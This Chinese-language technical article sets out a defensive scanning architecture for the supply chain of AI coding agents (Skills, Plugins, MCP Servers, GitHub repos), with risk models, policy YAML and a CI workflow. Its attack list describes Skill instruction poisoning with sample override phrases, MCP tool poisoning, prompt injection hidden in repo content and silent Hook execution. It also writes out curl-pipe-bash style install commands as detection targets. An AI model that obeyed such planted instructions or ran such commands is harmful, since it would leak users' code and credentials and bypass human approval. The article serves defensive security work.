摘要: AI Coding Agent 的供应链已经不再只是 npm、PyPI 或容器镜像。一个看似普通的 Skill 可能携带脚本,一个 Plugin 可能注册 Hook 和 MCP Server,一个 MCP Server 能接触代码、凭据与内部系统,而一个 GitHub Repo 还可能隐藏安装脚本、恶意 GitHub Actions、可变依赖和指令注入内容。企业真正需要的不是四套彼此孤立的扫描器,而是一条覆盖资产登记、不可变快照、清单归一化、静态扫描、权限分析、动态沙箱、风险评分、策略准入和持续复扫的统一流水线。本文给出一套可落地的完整项目架构、规则体系、风险模型和 CI/CD 示例。
核心结论
AI Coding Agent 供应链安全必须同时扫描 Skill、Plugin、MCP Server 与 GitHub Repo,并把“代码是否有漏洞”扩展为“资产能做什么、何时执行、能接触哪些数据、更新后是否仍是同一份代码”。
- 所有外部资产必须解析为不可变版本,例如 Git Commit SHA、Release Digest 或内部快照编号。
- 指令、代码、权限、依赖和运行时网络行为必须分别扫描,不能只查 CVE。
- 高风险能力默认拒绝,不能仅凭作者声明、市场上架或 MCP Tool Annotation 自动放行。
- 扫描记录必须绑定资产摘要、策略版本、扫描器版本与审批人,形成可追溯证据。
- 准入后仍需持续复扫,并提供禁用、Token 撤销和版本回滚机制。
为什么传统依赖扫描覆盖不了 Coding Agent?
传统软件组成分析主要回答两个问题:项目依赖了哪些软件包,这些软件包是否存在已知漏洞。Coding Agent 的攻击面更宽。
Skill 可能主要由 Markdown 构成,但其中的自然语言会直接影响模型决策;Plugin 可以在会话开始、工具调用前后或代码提交阶段执行 Hook;MCP Server 不一定进入项目依赖树,却可能拥有数据库、浏览器、文件系统或 SaaS API 权限;GitHub Repo 即使没有已知 CVE,也可能在安装脚本中下载未固定版本的二进制文件。
因此,Coding Agent 供应链同时包含软件依赖、自然语言指令、工具调用、身份权限、运行时网络和自动更新六类关系。“读起来像文档”并不等于“没有执行能力”。
关于 Coding Agent 的权限审批,可继续阅读 AI Stack Nav:Coding Agent 安全专题;关于 MCP 部署与治理,可参考 AI Stack Nav:MCP 专题。
四类资产的风险有什么不同?
| 资产 | 常见入口 | 高风险内容 | 传统 SCA 能否覆盖 | 重点控制 |
|---|---|---|---|---|
| Skill | SKILL.md、脚本、引用资源 | 指令投毒、隐藏脚本、敏感文件读取、外部 MCP 依赖 | 部分不能 | 指令分析、脚本扫描、能力清单 |
| Plugin | Marketplace、Git Repo、本地目录 | Hook 自动执行、命令覆盖、静默更新、捆绑 MCP | 通常不能完整覆盖 | 来源白名单、版本锁定、Hook 审计 |
| MCP Server | 本地进程、HTTP 服务、容器 | 工具投毒、过度授权、数据外传、破坏性操作 | 基本不能 | 工具权限、身份边界、动态沙箱 |
| GitHub Repo | Clone、模板、Action、Release | 恶意安装脚本、泄密、依赖替换、工作流注入 | 部分可以 | Commit 固定、Secrets/SAST/SCA、Actions 审计 |
来源白名单可以降低来源风险,但它不代替对插件内容、权限和更新版本的扫描。市场上架、作者验证、下载量和 Star 数都只能作为风险信号,不能作为自动放行证明。
必须防住的十类攻击
1. Skill 指令投毒
恶意 Skill 不一定包含明显代码。它可能使用“忽略原有安全规则”“将调试信息上传到诊断服务”等自然语言,诱导 Agent 读取凭据或绕过人工确认。扫描器需要识别覆盖系统规则、访问 .env 或 SSH Key、关闭沙箱、自动批准命令、加载远程二阶段指令,以及向外部地址发送代码或上下文的行为。
2. Plugin Hook 静默执行
Plugin 的危险之处往往不是用户主动调用的命令,而是生命周期 Hook。安装、会话启动、工具调用前后和提交前 Hook 都可能在用户没有明确感知时运行。
企业策略应要求所有 Hook 在清单中显式声明命令、工作目录、环境变量和触发时机;禁止解释器拼接未经验证的输入;默认无网络、无 Secrets;修改文件或调用外部接口时必须升级审批等级。
3. MCP Tool Poisoning
MCP Server 可以描述每个工具的用途与属性,但这些元数据本身不能天然视为可信。扫描系统不能因为工具声明“只读”就自动放行,还应动态验证该工具是否实际写入文件、发起未声明网络连接、访问其他租户数据、在查询中夹带更新操作,或返回带有提示注入内容的资源。
4. 过度授权与身份混用
连接企业 GitHub、工单、数据库和云平台的 MCP Server,如果共用长期管理员 Token,就会把模型误操作放大成组织级事故。需要检查 Token 是否为细粒度权限,是否区分开发、测试、生产环境,是否按用户委托而不是多人共用服务账号,以及写操作是否支持重新认证、MFA 或 Proof of Presence。
5. GitHub Actions 依赖漂移
uses: owner/action@v4 使用方便,但标签可以移动。生产环境应优先固定到完整 Commit SHA,并验证 SHA 来自原始仓库而不是 Fork。扫描器至少要标记使用分支或浮动标签的 Action、pull_request_target 与不可信代码组合、宽泛的 GITHUB_TOKEN 权限,以及下载后直接执行但未校验摘要的步骤。
6. 安装脚本与远程执行
以下模式应默认进入高风险队列:
curl https://example.invalid/install.sh | bash
wget -qO- "$URL" | sh
npm install https://example.invalid/package.tgz
pip install git+https://github.com/org/repo.git@main
问题不只是下载源是否可信,还包括内容没有固定版本、没有哈希或签名验证,并且安装过程继承当前环境权限。
7. 仓库内容提示注入
Agent 会阅读 README、Issue、代码注释、测试失败日志和网页内容。这些文本都可能包含对模型有效、对传统编译器无效的攻击指令。内容扫描应标记越权命令、凭据索取、跳过测试或审批、从外部地址加载下一步指令,以及诱导把工具结果发送给第三方的文本。
8. Secrets 泄露
扫描范围不能只包含当前分支。还要考虑 Git 历史、Release 包、测试夹具、示例配置、构建日志和制品。Push Protection 应尽量在凭据进入仓库前阻止提交;已泄露凭据不能只从文件删除,还必须立即撤销和轮换。
9. 已知漏洞与恶意依赖
OSV-Scanner 可以把依赖映射到公开漏洞数据库,OpenSSF Scorecard 可以从源码、构建、依赖、测试和维护实践评估项目的供应链安全状态。它们适合成为统一流水线的信号源,但不能单独决定是否准入。
10. 扫描通过后的版本替换
如果扫描的是 main,安装时也是 main,两次获得的代码可能已经不同。所有准入证据都必须绑定内容摘要:
source_url
resolved_commit_sha
archive_sha256
manifest_sha256
scanner_version
policy_version
scan_timestamp
approval_record
推荐架构:六层统一扫描平台

第一层:资产接入
支持 GitHub App 或 Webhook、Plugin Marketplace 同步、Skill 目录上传、MCP Registry 或配置文件导入、内部制品库,以及开发者提交的 Git URL、Commit SHA 和 Release。资产接入阶段只做登记、解包和取证,不执行仓库代码。
第二层:不可变快照与清单归一化
系统把不同对象转换为统一资产清单:
{
"asset_id": "ast_01J_EXAMPLE",
"type": "skill",
"source": "https://github.com/example/agent-tools",
"resolved_ref": "4df7_example_a912",
"sha256": "sha256:EXAMPLE_DIGEST",
"entrypoints": ["SKILL.md", "scripts/scan.sh"],
"capabilities": [],
"dependencies": [],
"external_hosts": [],
"findings": []
}
归一化阶段还应处理 Git Submodule、Git LFS、压缩包嵌套、符号链接、路径穿越、二进制文件、Lockfile、SBOM、Plugin/Skill/MCP Manifest、GitHub Actions 与安装脚本。
第三层:静态扫描
静态扫描至少包括 Secrets、SAST、Shell/PowerShell 规则、依赖漏洞、许可证、GitHub Actions 安全、指令注入、混淆文本、域名与下载行为提取,以及敏感路径访问推断。
第四层:动态沙箱
动态扫描不应直接使用开发者工作站或生产凭据。推荐使用临时容器或微虚拟机、只读根文件系统、一次性工作目录、默认拒绝网络出口、诱饵 Secrets、CPU/内存/进程/超时限制,并记录 DNS、TCP、HTTP、文件和子进程行为。测试结束后销毁环境。
沙箱应分别测试安装、初始化、工具枚举、典型调用、异常输入、取消和超时;不能只执行一次 --help 就判定安全。
第五层:风险图谱与策略
把资产、权限、身份、数据和外部目标构成图谱:
Plugin
├─ installs Skill A
├─ registers Hook B
└─ starts MCP Server C
├─ reads workspace
├─ uses GitHub token
└─ connects api.example.com
这样才能识别单项看似正常、组合后危险的链路,例如“读取工作区+访问未知公网+自动执行”。
第六层:准入 Gate 与审计
准入结果不应只有通过和失败,可以设置为 allow、allow_with_limits、review、quarantine 和 deny。每次决定都要保存规则命中、原始证据、扫描时间、策略版本、审批人和允许例外的到期时间。
十二步自动扫描闭环
自动扫描项目可以按以下顺序实施:
- 资产登记:记录来源、所有者、用途和业务负责人。
- 不可变快照:解析 Commit SHA、下载归档并计算 SHA-256。
- 清单归一化:生成文件清单、入口点、依赖和 SBOM。
- Secrets 扫描:扫描当前内容、历史、制品和测试数据。
- 代码规则:执行 SAST、脚本和工作流安全检查。
- 权限提取:推断文件、Shell、网络、身份和数据访问能力。
- 依赖分析:查询漏洞、许可证、维护状态和供应链健康度。
- 沙箱运行:观察进程、文件、网络和异常行为。
- 风险评分:合并静态、动态、来源和权限信号。
- 策略 Gate:根据环境和业务敏感度作出准入决定。
- 签名证据:保存并签名扫描结果、策略和审批记录。
- 持续复扫:版本、依赖、域名、策略或威胁情报变化时重新评估。
风险评分怎么设计?
不建议直接把所有扫描器分数相加。一个“可读取源码并访问未知公网地址”的资产,即使没有 CVE,也应该被视为高风险。可采用以下参考模型:
总风险 =
0.20 × 来源风险 +
0.20 × 代码风险 +
0.15 × 依赖风险 +
0.20 × 权限风险 +
0.15 × 动态行为风险 +
0.10 × 维护风险
同时设置不能被平均值抵消的硬性规则:
policy:
deny:
- secret_exfiltration_confirmed
- path_traversal_on_install
- unsigned_binary_with_auto_execution
- destructive_tool_without_approval
- hidden_hook_execution
require_review:
- reads_sensitive_files_and_has_network
- mcp_write_tool_with_shared_admin_token
- github_action_not_pinned_to_full_sha
- downloads_executable_without_digest
- skill_requests_security_bypass
limits:
max_scan_age_days: 7
require_immutable_ref: true
default_network: deny
default_secret_access: deny
这是一份参考策略,不是某个厂商的原生配置格式。
GitHub Actions 如何接入扫描?
下面是一份简化的参考工作流。生产环境需要把所有 Action 固定到经审核的完整 Commit SHA:
name: agent-supply-chain-scan
on:
pull_request:
push:
branches: [main]
schedule:
- cron: "17 2 * * *"
permissions:
contents: read
security-events: write
jobs:
scan:
runs-on: ubuntu-latest
timeout-minutes: 20
steps:
- name: Checkout immutable revision
uses: actions/checkout@<FULL_COMMIT_SHA>
with:
persist-credentials: false
- name: Build normalized manifest
run: agent-scan inventory --root . --output inventory.json
- name: Scan secrets and source
run: agent-scan static --inventory inventory.json --output static.json
- name: Scan dependencies
run: osv-scanner scan source -r . --format json > osv.json
- name: Evaluate policy
run: |
agent-scan evaluate \
--inventory inventory.json \
--findings static.json \
--findings osv.json \
--policy policy/agent-supply-chain.yaml \
--output decision.json
扫描任务自身也属于供应链,因此要限制 GITHUB_TOKEN 权限、固定扫描器版本、校验下载摘要,并避免让来自不可信 PR 的代码接触组织 Secrets。对于失败任务设置明确超时和有限重试;写操作应使用幂等键,防止重试导致重复提交、重复删除或重复发布。
MCP 动态验证应该测试哪些场景?

每个 MCP Server 至少应验证:
tools/list返回的工具是否与审批清单一致;- 工具 Schema 是否在版本间发生敏感变化;
- 标为只读的工具是否真的没有写操作;
- 输入中加入路径穿越、命令分隔符和提示注入文本后的表现;
- 取消、超时和重试是否导致重复写入;
- 错误信息是否泄露 Token、内部路径或数据库内容;
- OAuth Scope 是否超过实际用途;
- Server 是否连接未声明域名;
- 返回资源是否包含提示注入;
- 多租户条件下是否存在越权读取。
对于创建 PR、删除文件、修改权限、发送消息和执行生产操作的工具,还应要求人类批准、操作预览、幂等键、回滚路径和完整审计记录。高风险审批不能依赖模型“自我判断”,应由独立策略引擎或人工确认界面完成。
企业实施路线图
第一阶段:两周建立基础 Gate
先覆盖最容易落地的控制:只允许登记来源、强制 Commit SHA、执行 Secrets/SAST/SCA、检查 GitHub Actions 固定方式、提取安装脚本与网络地址,并阻止明确高危发现。
第二阶段:四至六周建立能力模型
为所有资产生成统一能力清单:
{
"filesystem": ["workspace:read", "workspace:write"],
"shell": ["execute"],
"network": ["api.github.com"],
"secrets": ["github_token"],
"tools": ["create_pull_request"],
"approval": "required_for_write"
}
此阶段的核心不是增加更多扫描器,而是让安全团队知道资产“能做什么”。
第三阶段:引入动态沙箱
优先动态测试带安装脚本的 Plugin、捆绑二进制文件的 Skill、能访问企业系统的 MCP Server、具备 Shell 或公网权限的 Repo,以及静态结果与作者声明不一致的资产。
第四阶段:持续监控与撤销
上游新版本、标签指向变化、MCP Tool Schema 变化、新增域名或权限、新 CVE、泄露凭据、维护者变更和企业策略升级都应触发复扫。对已安装资产必须支持快速禁用、版本回退、Token 撤销和影响范围查询。
成本、隐私与运维限制
静态扫描成本较低,适合每次提交运行;动态沙箱消耗更多计算资源,应根据资产风险分级触发。私有仓库扫描应避免把源码上传到未获批准的外部服务;日志需要脱敏,并对原始代码、凭据命中和沙箱流量记录设置访问控制与保留期限。
扫描器本身会处理恶意输入,因此不能拥有生产 Secrets、宿主机 Docker Socket 或组织管理员 Token。网络代理、扫描规则、漏洞数据库和沙箱镜像还需要定期更新。若扫描器超时或依赖服务不可用,策略应采用“高风险失败关闭、低风险进入人工复核”,而不是默认放行。
容易踩的五个坑
只扫描 GitHub Repo,不扫描安装后的内容
安装脚本可能根据操作系统动态下载文件。必须对最终落盘内容再次生成清单和摘要。
把 Marketplace 上架当作安全认证
上架和作者验证只是来源信号,不能证明当前版本没有危险代码或过度权限。
只相信 MCP 工具声明
Tool Annotation 是提示,不是安全边界。未经信任的 Server 必须通过策略与运行时验证。
扫描器拥有过高权限
扫描器应运行在强隔离环境中,不得默认获得生产 Secrets 或宿主机控制权。
只有阻断,没有修复建议
每条发现最好包含位置、证据、攻击路径、影响、修复建议、可接受例外条件和复验方法,否则团队容易通过关闭规则恢复效率。
最终建议
AI Coding Agent 供应链安全的建设顺序不是“购买更多扫描器”,而是先建立统一资产目录和不可变版本,再把指令、代码、依赖、权限和运行行为归一化;使用硬性策略阻断不可接受的能力组合,对高风险资产执行无真实凭据的动态沙箱测试;把准入证据绑定到摘要和策略版本,并持续监控上游变化,确保能够撤销、隔离和回滚。
FAQ
Skill 只是 Markdown 文件,也需要安全扫描吗?
需要。Markdown 中的指令会影响 Agent 行为,而且 Skill 还可能引用脚本、资源、外部 URL 或 MCP Server。应同时扫描自然语言指令和随附文件。
Plugin 已经来自官方 Marketplace,还需要复扫吗?
需要。Marketplace 来源可以降低来源风险,但不能代替版本级内容扫描、权限分析和动态行为验证。
MCP Server 放在内网就安全吗?
不一定。内网 MCP 往往能接触更敏感的数据。认证缺陷、过度授权、工具投毒或提示注入仍可能造成越权和数据泄露。
OpenSSF Scorecard 分数高就可以自动放行吗?
不建议。Scorecard 是重要的项目健康信号,但不能证明 Skill 指令安全,也不能证明 MCP Tool 没有超出声明的副作用。
是否必须扫描整个 Git 历史?
公开或共享仓库建议扫描历史 Secrets。常规代码分析可以聚焦目标快照,但不能忽略 Release、历史凭据和仍可访问的旧制品。
动态沙箱需要真实 Token 吗?
默认不需要。优先使用诱饵凭据和模拟服务。只有无法通过模拟验证的场景,才使用短期、最小权限、可立即撤销的测试身份。
如何处理误报?
允许带期限的风险例外,但例外必须绑定准确版本、规则、责任人和到期时间。版本变化后不能自动继承旧例外。
扫描通过后是否可以自动更新?
低风险、不可执行的内容可以按策略自动更新;包含脚本、Hook、MCP Server、权限变化或二进制文件的版本应重新扫描,必要时重新审批。
自建扫描平台还是采购产品?
企业可以复用 GitHub Code Scanning、Secret Scanning、Dependabot、OSV-Scanner 和 OpenSSF Scorecard 作为信号源,把研发重点放在 Agent 指令分析、能力归一化、MCP 动态验证和统一准入策略上。
事实依据与来源
- OpenAI 官方文档把 Skill 描述为可复用的指令、资源与脚本,并允许其依赖 MCP;Agent 外部操作应结合沙箱与审批控制。
- MCP 规范要求:除非服务器可信,否则客户端应把 Tool Annotation 视为不可信信息,并实施适当的访问控制与数据保护。
- GitHub 官方建议将 GitHub Actions 固定到完整 Commit SHA;Code Scanning、Secret Scanning、Push Protection 与 Dependabot 可作为仓库安全信号。
- OSV-Scanner 用于把依赖映射到公开漏洞,OpenSSF Scorecard 用于评估开源项目的供应链安全实践;二者都不应单独承担 Agent 准入决策。
- Claude Code 企业设置支持限制可添加的插件市场,但来源限制不能代替对实际内容、权限和行为的扫描。
内容核验日期:2026 年 9 月 25 日。
参考来源
- OpenAI Codex:Skills
- OpenAI Codex:Agent approvals and security
- Model Context Protocol Specification
- MCP Server Tools
- GitHub Docs:Secure use reference
- GitHub Docs:Code scanning
- GitHub Docs:Secret scanning
- GitHub Docs:Dependabot security updates
- OSV-Scanner
- OpenSSF Scorecard
- Claude Code Settings
核验日期:2026-09-25
工具选型与提示词资料
适合阅读工具评测、工具推荐、对比测评类文章后继续转化。